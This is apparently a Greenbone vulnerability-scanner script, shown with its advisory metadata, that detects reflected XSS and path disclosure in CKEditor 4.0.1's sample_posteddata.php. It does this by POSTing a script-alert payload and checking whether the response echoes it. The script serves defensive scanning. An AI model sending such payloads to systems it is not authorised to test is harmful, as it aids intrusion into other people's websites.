CKEditor < 4.0.1.1 Multiple Vulnerabilities
🗓️ 26 Feb 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType
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| Source | Link |
|---|---|
| packetstormsecurity | www.packetstormsecurity.com/files/120387 |
| exploit-db | www.exploit-db.com/exploits/24530 |
| ckeditor | www.ckeditor.com/release/CKEditor-4.0.1.1 |
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:ckeditor:ckeditor";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.903302");
script_version("2025-03-05T05:38:53+0000");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
script_tag(name:"creation_date", value:"2013-02-26 18:00:48 +0530 (Tue, 26 Feb 2013)");
script_name("CKEditor < 4.0.1.1 Multiple Vulnerabilities");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Web application abuses");
script_dependencies("sw_ckeditor_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("ckeditor/http/detected");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/24530");
script_xref(name:"URL", value:"http://packetstormsecurity.com/files/120387");
script_xref(name:"URL", value:"http://ckeditor.com/release/CKEditor-4.0.1.1");
script_tag(name:"summary", value:"CKEditor is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"Input passed via POST parameters to
/ckeditor/samples/sample_posteddata.php is not properly sanitized before being returned to the
user.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in context of an affected site and results in
loss of confidentiality.");
script_tag(name:"affected", value:"CKEditor version 4.0.1 is known to be vulnerable. Older
versions might be affected as well.");
script_tag(name:"solution", value:"Update to version 4.0.1.1 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
host = http_host_name( port:port );
url = dir + "/samples/sample_posteddata.php";
postData = "<script>alert('XSS-Test')</script>[]=PATH DISCLOSURE";
req = string( "POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen( postData ), "\r\n",
"\r\n", postData );
res = http_keepalive_send_recv( port:port, data:req);
if( res =~ "^HTTP/1\.[01] 200" && "<script>alert('XSS-Test')</script>" >< res && "ckeditor.com" >< res ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
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